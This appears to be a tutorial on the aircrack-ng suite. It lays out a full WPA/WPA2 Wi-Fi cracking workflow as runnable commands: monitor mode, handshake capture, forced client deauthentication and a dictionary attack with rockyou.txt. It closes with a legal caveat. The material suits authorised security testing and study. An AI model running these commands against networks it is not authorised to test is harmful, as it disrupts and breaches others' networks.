

1. What is airmmon-ng?

✅ Purpose:

airmon-ng is used to **enable monitor mode** on your wireless interface so that you can capture wireless packets.

💡 Monitor Mode:

It allows your Wi-Fi card to **listen to all traffic** on the channel, even if it's not addressed to your system.

Common Commands for airmmon-ng:

◆ Check Wireless Interfaces:

airmon-ng

◆ Start Monitor Mode:

airmon-ng start wlan0

- It will create a new interface like wlan0mon

◆ Stop Monitor Mode:

airmon-ng stop wlan0mon

◆ Kill Conflicting Processes:

airmon-ng check kill

- Kills processes like NetworkManager that interfere with monitor mode.

2. What is aircrack-ng?

✅ Purpose:

aircrack-ng is used to **crack Wi-Fi passwords** by analyzing captured handshake packets (WPA/WPA2) using a **dictionary or wordlist**.

Typical Workflow with aircrack-ng

✅ Step 1: Put Adapter in Monitor Mode

airmon-ng start wlan0

✅ Step 2: Find Nearby Networks

airodump-ng wlan0mon

- Note the BSSID and Channel of the target network

Column-by-Column Explanation:

Column	Meaning
BSSID	The MAC address of the Access Point (router). Example: 00:17:7C:C8:4E:EA
PWR	Signal strength (in dBm). Closer to 0 means stronger signal. Example: -48 is stronger than -80.
Beacons	Packets sent periodically by the AP to announce its presence. Higher = active AP.
#Data	Number of data packets captured. Useful in attacks like WPA handshake capture.
#/s	Packets per second (data rate of capture).
CH	Channel the AP is operating on (e.g., 1, 6, 11 are common in 2.4GHz).
MB	Maximum speed supported (in Mbps). Example: 360 Mbps.
ENC	Encryption type (e.g., WPA2, WPA3, OPN = Open).
CIPHER	Cipher used for data encryption. Most common: CCMP (AES), TKIP.
AUTH	Authentication method: PSK (Pre-Shared Key), SAE (for WPA3), Open, etc.
ESSID	Network Name (SSID) like PANDEY, Airtel_ashw_0331, etc.

✅ Step 3: Capture Handshake

airodump-ng --bssid <target-BSSID> --channel <channel> -w capture wlan0mon

- Replace <target-BSSID> and <channel> accordingly

✅ Step 4: Deauth to Force Handshake

aireplay-ng --deauth 10 -a <target-BSSID> wlan0mon

- Forces connected clients to disconnect and reconnect to capture handshake

✅ Step 5: Crack the Password

aircrack-ng capture-01.cap -w /usr/share/wordlists/rockyou.txt

- capture-01.cap: captured file
- rockyou.txt: dictionary file

📊 Summary Table

Tool	Purpose	Example Use
airmon-ng	Enable/disable monitor mode	airmon-ng start wlan0
airodump-ng	Scan and capture traffic/handshakes	airodump-ng wlan0mon
aireplay-ng	Inject packets (deauth, etc.)	aireplay-ng --deauth 10 -a <BSSID>
aircrack-ng	Crack passwords from handshakes	aircrack-ng capture.cap -w wordlist.txt

🔒 Legal & Precaution

- Only use these tools on **networks you own** or have **permission to test**.
- Unauthorized use is **illegal and unethical**.
- Always use a compatible Wi-Fi adapter that supports **monitor mode and packet injection** (e.g., Alfa AWUS036NHA).